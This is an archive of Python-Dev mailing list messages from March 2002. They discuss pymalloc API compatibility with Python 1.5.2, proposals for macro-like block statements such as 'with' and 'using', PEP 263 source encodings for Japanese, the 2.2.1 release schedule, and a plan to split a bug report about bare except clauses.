> Asking can't hurt.

+1

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Tue Mar 19 09:05:19 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 19 Mar 2002 10:05:19 +0100
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible
 explanation?
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>
Message-ID: <3C96FF4F.F477A35E@lemburg.com>

Skip Montanaro wrote:
> 
> 1.5.2 rears its ugly head again...
> 
> Neil S. reported on a number of 3rd party extension modules that don't do
> object alloc/free properly.  I reported a bug to the mysql-python project,
> which uses PyObject_NEW and PyMem_Free.  Andy Dustman's reply, in part, was:
> 
>     1.5.2 apparently does not have PyObject_New() or PyObject_Del(), thus
>     the problem...
> 
> The thread is here:
> 
>   http://sourceforge.net/tracker/?func=detail&atid=374932&aid=531671&group_id=22307
> 
> Check here for Andy's proposed patch to _mysql.c (ignore the non-alloc
> stuff):
> 
>   http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/mysql-python/MySQLdb/_mysql.c.diff?r1=1.16&r2=1.22
> 
> It would appear at least some of the breakage stems from actual or perceived
> differences in the object allocation API between 1.5.2 and 2.x.

FWIW, I use a special #define in the mx tools which allows
using the Python 2.x macros in 1.5.2 as well:

#if PY_VERSION_HEX < 0x01060000

#if !defined(PyObject_DEL)
# define PyObject_DEL(x) free(x)
# define PyObject_Del(x) free(x)
#endif

#endif

Still, the potential code breakage looks frightening for a minor
release... I would guess that quite a few of the older modules
are not being maintained anymore.

Isn't there anything we can do about this ? E.g. redirect the
macros to functions which do all the necessary magic to have
pymalloc enabled and redirect to system malloc()/free() for
all non-Python object pointers ?!

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mwh@python.net  Tue Mar 19 09:07:22 2002
From: mwh@python.net (Michael Hudson)
Date: 19 Mar 2002 09:07:22 +0000
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: David Ascher's message of "Mon, 18 Mar 2002 17:35:08 -0800"
References: <web-3773549@digicool.com> <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net> <15510.25838.348649.56445@beluga.mojam.com> <15510.39508.668328.327377@mcallister.cyc.com> <3C9695CC.A607AA5A@activestate.com>
Message-ID: <2mk7s9vsc5.fsf@starship.python.net>

David Ascher <DavidA@ActiveState.com> writes:

> My vote on the notion is that I want to know what good macros people
> would write, and then implement them in a non-macro fashion.

My favourite example of this is distutils.core.setup() 

1) looks declarative
2) isn't

Very Pythonic, IMHO.

Cheers,
M.

-- 
  Ya, ya, ya, except ... if I were built out of KSR chips, I'd
  be running at 25 or 50 MHz, and would be wrong about ALMOST
  EVERYTHING almost ALL THE TIME just due to being a computer!
                                              -- Tim Peters, 30 Apr 97


From mal@lemburg.com  Tue Mar 19 09:10:11 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 19 Mar 2002 10:10:11 +0100
Subject: [Python-Dev] Idea of the Month: Preprocessor
References: <003d01c1ced1$32b82460$52e77ad1@othello> <200203190154.g2J1sqh00753@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C970073.382BD730@lemburg.com>

Guido van Rossum wrote:
> 
> > Enable a command line option [-p filename.py] and a related
> > environment variable PYTHONPREPROCESS.  The new behavior of the
> > interpreter would then be to submit all of its input to the
> > preprocess program (a module written in pure python) and then
> > interpret the result.
> 
> Instead of encumbering the standard Python interpreter, why not write
> a script that runs its argument after preprocessing it, and inserts a
> preprocessor in __import__.

Or even more subtle: wait until PEP 263 phase 2 is implemented
and write a codec which does the preprocessing for you on a per
module basis, then you'd write:

#!/usr/local/bin/python
# coding: utf-8-with-macros
macro yadada(a,b,c):
    print a,b,c

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From paul@prescod.net  Tue Mar 19 09:05:40 2002
From: paul@prescod.net (Paul Prescod)
Date: Tue, 19 Mar 2002 01:05:40 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
Message-ID: <3C96FF64.94DA206D@prescod.net>

Greg Ewing wrote:
> 
>...
> 
> I've been trying to think of a Pythonic syntax for passing
> code blocks to procedures. 

Mixed feelings on that...not a big fan of the Ruby indiom:

5.dotimes():
   print "Hello";

(or whatever it is...something like that) I sort of like the fact that
Python figures out what control flow features people need (e.g. foreach
and simple generators) and just implements.

>...
> except that the thunk would have to have write access to
> the namespace it's embedded in, perhaps implemented by
> sharing the stack frame.

If the idea is for it to be a macro feature then yes. But it could be
JUST an anonymous implicit thunk. Isn't that how it is in Ruby or
Smalltalk? How would the procedure know what variable names to expect in
the block?

 Paul Prescod


From mwh@python.net  Tue Mar 19 09:11:19 2002
From: mwh@python.net (Michael Hudson)
Date: 19 Mar 2002 09:11:19 +0000
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: "Neil Hodgson"'s message of "Tue, 19 Mar 2002 10:48:52 +1100"
References: <16n5i0-0KkdpwC@fwd06.sul.t-online.com> <008701c1ced7$76123600$0acc8490@neil>
Message-ID: <2mhencx6q0.fsf@starship.python.net>

"Neil Hodgson" <nhodgson@bigpond.net.au> writes:

>    My use case, which I don't think is achievable with simple
> macros, is design-by-contract. Method preconditions and
> postconditions look easy, but inserting class invariant checks would
> be much harder.

You can do this with metaclasses, can't you?

Cheers,
M.

-- 
  Also, remember to put the galaxy back when you've finished, or an
  angry mob of astronomers will come round and kneecap you with a
  small telescope for littering. 
       -- Simon Tatham, ucam.chat, from Owen Dunn's review of the year


From mwh@python.net  Tue Mar 19 09:28:35 2002
From: mwh@python.net (Michael Hudson)
Date: 19 Mar 2002 09:28:35 +0000
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
In-Reply-To: Skip Montanaro's message of "Tue, 19 Mar 2002 01:22:17 -0600"
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>
Message-ID: <2meligx5x8.fsf@starship.python.net>

Skip Montanaro <skip@pobox.com> writes:

> 1.5.2 rears its ugly head again...
> 
> Neil S. reported on a number of 3rd party extension modules that don't do
> object alloc/free properly.  I reported a bug to the mysql-python project,
> which uses PyObject_NEW and PyMem_Free.  Andy Dustman's reply, in part, was:
> 
>     1.5.2 apparently does not have PyObject_New() or PyObject_Del(), thus
>     the problem...
> 
> The thread is here:
> 
>   http://sourceforge.net/tracker/?func=detail&atid=374932&aid=531671&group_id=22307
> 
> Check here for Andy's proposed patch to _mysql.c (ignore the non-alloc
> stuff):
> 
>   http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/mysql-python/MySQLdb/_mysql.c.diff?r1=1.16&r2=1.22

Better IMHO is what _sre.c does:

#if PY_VERSION_HEX < 0x01060000
#define PyObject_DEL(op) PyMem_DEL((op))
#endif

... except that should probably be _Del & there should probably be an
equivalent one for PyObject_New.

> It would appear at least some of the breakage stems from actual or perceived
> differences in the object allocation API between 1.5.2 and 2.x.

I thought we'd already worked this much out...

Cheers,
M.

-- 
  ... but I'd rather not reinvent the wheel if I don't have to.  On
  the other hand, if the currently instantiated version of the wheel
  consists of a square rock covered with moss, I might as well just
  start fresh.                          -- Roy Smith, comp.lang.python


From bh@intevation.de  Tue Mar 19 11:18:59 2002
From: bh@intevation.de (Bernhard Herzog)
Date: 19 Mar 2002 12:18:59 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
References: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
Message-ID: <6qpu20dcv0.fsf@abnoba.intevation.de>

Greg Ewing <greg@cosc.canterbury.ac.nz> writes:

> I've been trying to think of a Pythonic syntax for passing
> code blocks to procedures. The best thing I've come up with
> so far is something like
> 
>   lock.do:
>     something()

Another approach, which I've been thinking about for quite some time
now:

    under <expr>:
        something()

where <expr> evaluates to a controller object that implements a certain
interface. The code above would be more or less equivalent to this (the
__controller__ variable would only exist in the interpreter somewhere):

    __controller__ = <expr>
    while __controller__.should_run():
        try:
            try:
                __controller__.start()
                something(x)
                __controller__.end()
            except:
                __controller__.exception()
        finally:
            __controller__.exit()


This sort of thing would make some parts of Sketch a bit easier. I've
quite a few places with code like:

   doc.BeginTransaction()
   try:
        try:
            something()
        except:
            # an error occurred part way through. make sure everything
            # is reverted (sort of a rollback)
            doc.AbortTransaction()
   finally:
        doc.EndTransaction()


This could be replaced by:

    under doc.Transaction():
        something()


Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From duncan@rcp.co.uk  Tue Mar 19 12:20:45 2002
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 19 Mar 2002 12:20:45 +0000
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <web-3773549@digicool.com> <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net> <15510.25838.348649.56445@beluga.mojam.com>
Message-ID: <12204502970498@aluminium.rcp.co.uk>

On 18 Mar 2002, Skip Montanaro <skip@pobox.com> wrote:

>  I think a "lock" keyword would be
> appropriate:
> 
>     lock somelock:
>         do stuff
> 
> The biggest problem I found with the try/finally lock idiom was that
> "do stuff" can tend to get long, so the vertical distance between
> lock.acquire() and lock.release() can be substantial.  a lock
> statement/clause/macro would remove the need to worry about that
> visual distance. 

This is one of the areas that I think Microsoft got right in C#. C# has a 
using statement:
   using (resource-acquisition) embedded-statement
where resource-acquisition is a local variable declaration or a expression 
that creates an object with an IDisposable interface.

The using statement effectively wraps a try..finally around the embedded 
statement, and the finally calls the Dispose method of the object created 
in the resource-acquisition part.

I guess a direct translation into Python would be:
  using assignment_stmt: suite
and:
  using expression: suite

Which would be roughly equivalent to:
  __usingvar__ = assignment_stmt (or expression)
  try: suite
  finally:
      if isinstance(__usingvar__, tuple):
          for item in __usingvar__: item.Destroy()
      else:
    	     __usingvar__.Destroy()

-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From suzuki@acm.org  Tue Mar 19 22:17:47 2002
From: suzuki@acm.org (SUZUKI Hisao)
Date: Tue, 19 Mar 2002 22:17:47 JST
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
Message-ID: <20020319131745574.TVCW.17240.t-mta3.odn.ne.jp@mta3.odn.ne.jp>

> And TextEdit cannot save as UTF-8?

It can.  But doing so suffers from "mojibake".

> The primary reason why this is not supported is different, though: it
> would complicate the implementation significantly, atleast the phase 1
> implementation. If people contribute a phase 2 implementation that
> supports the UTF-16 BOM as a side effect, I would personally
> reconsider.

OK, I will write a sample implementation of the "stage2" as soon
as possible, and put it in the public domain.

Anyway, until the stage2 comes true, you can write Japanese
python files only in either EUC-JP or UTF-8 unless you hack up
the interpreter, thus Python remains unsatisfactory to many
present Japanese till the day of UTF-8.  We should either hurry
up or wait still.

As for UTF-16 with BOM, any text outside Unicode literals should
be translated into UTF-8 (not UTF-16).  It is the sole logical
consequence in that UTF-8 is strictly ASCII-compatible and able
to map all the characters in Unicode naturally.  You will write
source codes in UTF-16 as follows:

	s = '<characters>'
	...
	u = unicode(s, 'utf-8')  # not utf-16!

This suggests me that the implementation will be somewhat like
as Stephen J. Turnbull sketches...

N.B. one should write a binary (not character, but, say, image
or audio) data literal as follows:

	b = '\x89\xAB\xCD\xEF'

The stage2 implementation will translate it into UTF-8 exactly
as follows :-)

	b = '\x89\xAB\xCD\xEF'

Hence there is no problem in translating UTF-16 file into UTF-8.
(At least, any UTF-16 python file is impossible totally for now,
allowing it does not hurt anyone here and there.)

--
SUZUKI Hisao          >>> def fib(n): return reduce(lambda x, y:
suzuki@acm.org        ... (x,x[0][-1]+x[1]), [()]*n, ((0L,),1L))



From skip@pobox.com  Tue Mar 19 13:33:06 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 19 Mar 2002 07:33:06 -0600
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
In-Reply-To: <2meligx5x8.fsf@starship.python.net>
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>
 <2meligx5x8.fsf@starship.python.net>
Message-ID: <15511.15890.584851.878643@12-248-41-177.client.attbi.com>

    Michael> Better IMHO is what _sre.c does:

    Michael> #if PY_VERSION_HEX < 0x01060000
    Michael> #define PyObject_DEL(op) PyMem_DEL((op))
    Michael> #endif

Thanks, I'll pass that along to Andy.

    >> It would appear at least some of the breakage stems from actual or
    >> perceived differences in the object allocation API between 1.5.2 and
    >> 2.x.

    Michael> I thought we'd already worked this much out...

We might have, but clearly there are a lot of extension module writers who
haven't. ;-)

Skip


From fredrik@pythonware.com  Tue Mar 19 13:46:55 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 19 Mar 2002 14:46:55 +0100
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>        <2meligx5x8.fsf@starship.python.net> <15511.15890.584851.878643@12-248-41-177.client.attbi.com>
Message-ID: <01e301c1cf4c$8b98b6f0$0900a8c0@spiff>

skip wrote:
>
>     Michael> I thought we'd already worked this much out...
>=20
> We might have, but clearly there are a lot of extension module writers =
who
> haven't. ;-)

yeah, blame it on the extension writers.  we should have
known that we couldn't trust the documentation and the
code samples shipped with Python...

I've fixed the "incorrect usage" for PIL 1.1.4.  just some
100 more modules to fix...

</F>



From pobrien@orbtech.com  Tue Mar 19 14:01:50 2002
From: pobrien@orbtech.com (Patrick K. O'Brien)
Date: Tue, 19 Mar 2002 08:01:50 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <6qpu20dcv0.fsf@abnoba.intevation.de>
Message-ID: <NBBBIOJPGKJEKIECEMCBIEMAMIAA.pobrien@orbtech.com>

The pure Python version doesn't seem too bad.

def transact(call):
    if not callable(call): raise TypeError
    doc.BeginTransaction()
    try:
         try:
             call()
         except:
             # an error occurred part way through. make sure everything
             # is reverted (sort of a rollback)
             doc.AbortTransaction()
    finally:
         doc.EndTransaction()

def something():
    pass

transact(something)

---
Patrick K. O'Brien
Orbtech


From skip@pobox.com  Tue Mar 19 14:11:57 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 19 Mar 2002 08:11:57 -0600
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <005801c1cf19$c5c441b0$ced241d5@hagrid>
References: <20020318164631.A24019@glacier.arctrix.com>
 <005801c1cf19$c5c441b0$ced241d5@hagrid>
Message-ID: <15511.18221.727737.280772@12-248-41-177.client.attbi.com>

    Fredrik> $ more Python-1.5.2/Objects/xxobject.c

    Fredrik> ... PyObject_NEW/PyMem_DEL ...

    Fredrik> it looked like this between 1994 and May 2000.

    Fredrik> and as noted elsewhere, PyObject_DEL, PyObject_New, and
    Fredrik> PyObject_Del don't exist in older versions.

It would seem that whatever is done, something like what /F does in _sre.c
or what MAL does in mx should be made available as a suggested workaround
for people who want to modify existing extension modules that need to run
with older versions of Python.  If it's done once by this group I think it
will have a better chance of being adopted and keeps everyone from having to
reinvent the wheel.

Skip


From mwh@python.net  Tue Mar 19 14:21:02 2002
From: mwh@python.net (Michael Hudson)
Date: 19 Mar 2002 14:21:02 +0000
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Tim Peters's message of "Sun, 17 Mar 2002 20:05:52 -0500"
References: <LNBBLJKPBEHFEDALKOLCCEFDOFAA.tim.one@comcast.net>
Message-ID: <2msn6wr641.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> [Michael Hudson, quoting Michael Hudson]
> >> I'd like to put out 2.2.1 release candidate 1 early next week
> >> (i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
> >> later.
> 
> [Michael Hudson]
> > Things are looking as if this might actually happen.
> 
> That would be good!  All of PythonLabs has all-day non-Python commitments
> Tue-Thu, so if we can't polish this off Monday it may have to wait until
> Friday.

In a desparate bid to be a bit more organised for the next release...

Monday and Tuesday next week (the 25th and 26th) are the only feasible
days in the next two and a half weeks (until ~5th April) for me to put
out another release (probably rc2).  Are either of these days possible
from a PythonLabs point of view?

I'll ask Jack what times are good for him, too.

Cheers,
M.

-- 
  I think my standards have lowered enough that now I think ``good
  design'' is when the page doesn't irritate the living fuck out of 
  me.                        -- http://www.jwz.org/gruntle/design.html


From skip@pobox.com  Tue Mar 19 14:27:08 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 19 Mar 2002 08:27:08 -0600
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
In-Reply-To: <01e301c1cf4c$8b98b6f0$0900a8c0@spiff>
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>
 <2meligx5x8.fsf@starship.python.net>
 <15511.15890.584851.878643@12-248-41-177.client.attbi.com>
 <01e301c1cf4c$8b98b6f0$0900a8c0@spiff>
Message-ID: <15511.19132.979250.779256@12-248-41-177.client.attbi.com>

    Michael> I thought we'd already worked this much out...

    Skip> We might have, but clearly there are a lot of extension module
    Skip> writers who haven't. ;-)

    Fredrik> yeah, blame it on the extension writers.  we should have known
    Fredrik> that we couldn't trust the documentation and the code samples
    Fredrik> shipped with Python...

I wasn't blaming anything on the extension writers.  As an example,
mysql-python is actively maintained and enhanced, but still uses the 1.5.2
API.  I don't blame Andy for not having discovered and reacted to this API
change.  I was merely commenting that there are a lot of extensions that for
whatever reason don't play by the current rules.  That the rules changed in
subtle ways since 1.5.2 is not the extension writers' fault.

Skip


From nas@python.ca  Tue Mar 19 14:59:54 2002
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 19 Mar 2002 06:59:54 -0800
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
In-Reply-To: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>; from skip@pobox.com on Tue, Mar 19, 2002 at 01:22:17AM -0600
References: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>
Message-ID: <20020319065954.A26180@glacier.arctrix.com>

Skip Montanaro wrote:
> Neil S. reported on a number of 3rd party extension modules that don't do
> object alloc/free properly.  I reported a bug to the mysql-python project,
> which uses PyObject_NEW and PyMem_Free.  Andy Dustman's reply, in part, was:
> 
>     1.5.2 apparently does not have PyObject_New() or PyObject_Del(), thus
>     the problem...

I don't consider extension modules that use PyObject_NEW and PyMem_DEL
broken.  The used to be the recommended way of doing it.  We can't
change that until at least Python 3.0.

  Neil


From guido@python.org  Tue Mar 19 16:30:38 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 19 Mar 2002 11:30:38 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "19 Mar 2002 14:21:02 GMT."
 <2msn6wr641.fsf@starship.python.net>
References: <LNBBLJKPBEHFEDALKOLCCEFDOFAA.tim.one@comcast.net>
 <2msn6wr641.fsf@starship.python.net>
Message-ID: <200203191630.g2JGUck01731@odiug.zope.com>

> Monday and Tuesday next week (the 25th and 26th) are the only feasible
> days in the next two and a half weeks (until ~5th April) for me to put
> out another release (probably rc2).  Are either of these days possible
> from a PythonLabs point of view?

Both work.  Tuesday would have my preference since we'd all be in the
office (giving us an opportunity to synchronize among ourselves
without email or IRC :-).

> I'll ask Jack what times are good for him, too.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From Jack.Jansen@oratrix.com  Tue Mar 19 15:27:14 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 19 Mar 2002 16:27:14 +0100
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <200203191630.g2JGUck01731@odiug.zope.com>
Message-ID: <CA402D29-3B4D-11D6-894E-0030655234CE@oratrix.com>

On Tuesday, March 19, 2002, at 05:30 , Guido van Rossum wrote:
> Both work.  Tuesday would have my preference since we'd all be in the
> office (giving us an opportunity to synchronize among ourselves
> without email or IRC :-).
>
>> I'll ask Jack what times are good for him, too.

Tuesday night is fine with me (although I *will* have to use IRC, I 
guess:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From mwh@python.net  Tue Mar 19 15:39:06 2002
From: mwh@python.net (Michael Hudson)
Date: 19 Mar 2002 15:39:06 +0000
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Jack Jansen's message of "Tue, 19 Mar 2002 16:27:14 +0100"
References: <CA402D29-3B4D-11D6-894E-0030655234CE@oratrix.com>
Message-ID: <2mvgbsftyd.fsf@starship.python.net>

Jack Jansen <Jack.Jansen@oratrix.com> writes:

> On Tuesday, March 19, 2002, at 05:30 , Guido van Rossum wrote:
> > Both work.  Tuesday would have my preference since we'd all be in the
> > office (giving us an opportunity to synchronize among ourselves
> > without email or IRC :-).
> >
> >> I'll ask Jack what times are good for him, too.
> 
> Tuesday night is fine with me (although I *will* have to use IRC, I 
> guess:-)

Tuesday it is, then.

-- 
  Our lecture theatre has just crashed. It will currently only
  silently display an unexplained line-drawing of a large dog
  accompanied by spookily flickering lights.
     -- Dan Sheppard, ucam.chat (from Owen Dunn's summary of the year)


From tim.one@comcast.net  Tue Mar 19 17:07:20 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Mar 2002 12:07:20 -0500
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible
 explanation?
In-Reply-To: <01e301c1cf4c$8b98b6f0$0900a8c0@spiff>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENOOFAA.tim.one@comcast.net>

[Fredrik Lundh]
> ...
> I've fixed the "incorrect usage" for PIL 1.1.4.  just some
> 100 more modules to fix...

I'd hold off on this, under the theory that we can't actually get away with
breaking 100s of modules.  Is all your "breakage" of the form PyObject_NEW +
PyMem_DEL?



From gmccaughan@synaptics-uk.com  Tue Mar 19 18:55:15 2002
From: gmccaughan@synaptics-uk.com (Gareth McCaughan)
Date: Tue, 19 Mar 2002 18:55:15 +0000 (GMT)
Subject: [Python-Dev] generalized resource alloc and de-alloc
Message-ID: <200203191855.SAA04673@synaptics-uk.com>

In the discussion of hygienic macros, a couple of people
mentioned one particularly common family of macros: ones
that let you say things like

    withlock my_lock:
        do some stuff

and have it turn into

    my_lock.acquire()
    try:
        do some stuff
    finally:
        my_lock.release()

or something of the kind. Tim Peters even suggested (tongue
presumably in cheek) a "withlock" macro for this. Here's a
simple generalization that I've been wondering about for a
while.

Introduce a new keyword. Call it "with", for the moment,
though people who are used to "with" meaning "let me abbreviate
stuff in such-and-such a namespace" may find that strange.
Now say that

    with LHS=EXPR:
        BODY

is the same as

    TEMPNAME=EXPR
    LHS=TEMPNAME.begin()
    try:
        BODY
    finally:
        TEMPNAME.end()

except that TEMPNAME isn't exposed and maybe except that
variables named in LHS might want to live in a scope that
includes only BODY. The "LHS=" part can be omitted, with
the obvious effect.

Example 1 (rather unnecessary, of course):

    class OpenFile:
        def __init__(self, *args):
            self._args = args
        def begin(self):
            self._f = open(*self._args)
            return self._f
        def end(self):
            self._f.close()

    with f=OpenFile("foo.ps", "w"):
        f.write("%!PS\n")
        f.write("%%EOF\n")

Example 2:

    class HtmlTag:
        def __init__(self, name, **attrs):
            self._name = name
            self._attrs = attrs
        def begin(self):
            write_open_tag(self._name, self._attrs)
        def end(self):
            write_close_tag(self._name)

    with HtmlTag("table", border=1):
        for id,x,y in data:
            with HtmlTag("tr"):
                with HtmlTag("th"): write_text(id)
                with HtmlTag("td"): write_text(x)
                with HtmlTag("td"): write_text(y)

Example 3:

    class AcquiredLock:
        def __init__(self, lock):
            self._lock = lock
        def begin(self):
            self._lock.acquire()
        def end(self):
            self._lock.release()

    with AcquiredLock(my_lock):
        mutate_my_data()
        provoke_race_condition()

Alternative names, if "with" is bad for the reason
I mentioned above: "using", "with_object", "where",
"locally". I think "using" is the best of these,
but I like "with" better.

Bernhard Herzog suggested something similar, under
the name "under". That has a more complicated
interpretation, which feels a bit too specialized
to me. On the other hand, "under" is certainly
capable of saving more code than "with". On the
other other hand, it's more "implicit" and less
"explicit".

-- 
g




From martin@v.loewis.de  Tue Mar 19 20:29:12 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 19 Mar 2002 21:29:12 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <20020319131745574.TVCW.17240.t-mta3.odn.ne.jp@mta3.odn.ne.jp>
References: <20020319131745574.TVCW.17240.t-mta3.odn.ne.jp@mta3.odn.ne.jp>
Message-ID: <m31yegxpwn.fsf@mira.informatik.hu-berlin.de>

"SUZUKI Hisao" <suzuki@acm.org> writes:

> > And TextEdit cannot save as UTF-8?
> 
> It can.  But doing so suffers from "mojibake".

You mean, it won't read it back in properly? Is that because it won't
auto-detect the encoding, or does it not even support opening files as
UTF-8? Could it be told to write a UTF-8 signature into the file?
Would that help autodetection?

> Anyway, until the stage2 comes true, you can write Japanese
> python files only in either EUC-JP or UTF-8 unless you hack up
> the interpreter, thus Python remains unsatisfactory to many
> present Japanese till the day of UTF-8.  We should either hurry
> up or wait still.

I expect that the localization patches that circulate now will
continue to apply (perhaps with minimal modifications) after stage 1
is implemented. If the patches are enhanced to do the "right thing"
(i.e. properly take into consideration the declared encoding, to
determine the end of a string), people won't notice the difference
compared to a full stage 2 implementation.

> As for UTF-16 with BOM, any text outside Unicode literals should
> be translated into UTF-8 (not UTF-16).  It is the sole logical
> consequence in that UTF-8 is strictly ASCII-compatible and able
> to map all the characters in Unicode naturally.  

Well, no. If UTF-16 is supported as an input encoding in stage 2, it
will follow the same process as any other input encoding: The byte
strings literals will be converted back to UTF-16. Any patch that
special-cases UTF-16 will be rejected.


> You will write
> source codes in UTF-16 as follows:
> 
> 	s = '<characters>'
> 	...
> 	u = unicode(s, 'utf-8')  # not utf-16!

No, that won't work. Instead, you *should* write

u = u'<characters>'

No need to call a function.


> N.B. one should write a binary (not character, but, say, image
> or audio) data literal as follows:
> 
> 	b = '\x89\xAB\xCD\xEF'

I completely agree. Binary data should use hex escapes. That will make
an interesting challenge for any stage 2 implementation, BTW: \xAB
shall denote byte 0x89 no matter what the input encoding was. So you
cannot convert \xAB to a Unicode character, and expect conversion to
the input encoding to do the right thing. Instead, you must apply the
conversion to the source encoding only for the unescaped characters.

People had been proposing to introduce b'' strings for binary data, to
allow to switch 'plain' strings to denote Unicode strings at some
point, but this is a different PEP.

Regards,
Martin


From fredrik@pythonware.com  Tue Mar 19 20:42:08 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 19 Mar 2002 21:42:08 +0100
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
References: <LNBBLJKPBEHFEDALKOLCEENOOFAA.tim.one@comcast.net>
Message-ID: <029b01c1cf86$8baad300$ced241d5@hagrid>

tim wrote:

> [Fredrik Lundh]
> > ...
> > I've fixed the "incorrect usage" for PIL 1.1.4.  just some
> > 100 more modules to fix...
> 
> I'd hold off on this, under the theory that we can't actually get away with
> breaking 100s of modules.  Is all your "breakage" of the form PyObject_NEW +
> PyMem_DEL?

that's the only thing I've been looking for.

from a quick sampling, it doesn't look like we have any real
bugs (e.g. NEW/free mixups) in the code base, but I haven't
looked everywhere.

</F>



From skip@pobox.com  Tue Mar 19 20:59:01 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 19 Mar 2002 14:59:01 -0600
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
Message-ID: <15511.42645.906782.720500@12-248-41-177.client.attbi.com>

--cbZEu+XcE7
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit


Just to make sure nobody's confused by the timing of this note: none of this
has anything to do with 2.2.1.

About a year ago, Itamar Shtull-Trauring filed a bug report about the use of
unqualified except clauses in the standard library.  Over the past year a
number of instances have been corrected, but many remain.  I made a pass
through those that remain and tried to break them into four groups:

    * Obviously okay, because the code must potentially recover from just
      about anything.  Modules like repr.py fall into this category.

    * Not worth fixing, because the except: occurs in situations that would
      not affect application code (such as in module tests).

    * Instances that should probably be fixed because it appears only a
      narrow set of exceptions could be raised by the code called from their
      try: blocks.

    * I Trust Tim (tm).

I'd like to break this bug into multiple pieces by

    * open a separate bug for each module that uses unqualified except
      clauses that don't obviously need to guard against random exceptions
      (see my notes below).

    * for those uses that are obviously okay or don't seem worth fixing, add
      a short comment to the code explaining why it's okay in the
      neighborhood of the use.

    * close bug #411881 with a reference to the new bugs spawned by this
      exercise.
    
While this will increase the number of open bugs, it will make this issue
more tractable.  As currently constituted, I don't see this bug report ever
getting closed.

Attached are the notes I took while picking through the source.

Skip


--cbZEu+XcE7
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

CmFzeW5jb3JlLnB5OiBndWFyZHMgcmFuZG9tIGNvZGUKCkJhc3Rpb24ucHk6IG9rYXkgLSBh
bGwgdW5xdWFsaWZpZWQgZXhjZXB0cyBhcmUgaW4gdGVzdCBmdW5jdGlvbnMKCmJkYi5weTog
dGhlIG9uZSB1bnF1YWxpZmllZCBleGNlcHQgZ3VhcmRzIHJhbmRvbSBjb2RlCgpDR0lIVFRQ
U2VydmVyLnB5OiB0aGUgb25lIHVucXVhbGlmaWVkIGV4Y2VwdCBwcm90ZWN0cyBhIG51bWJl
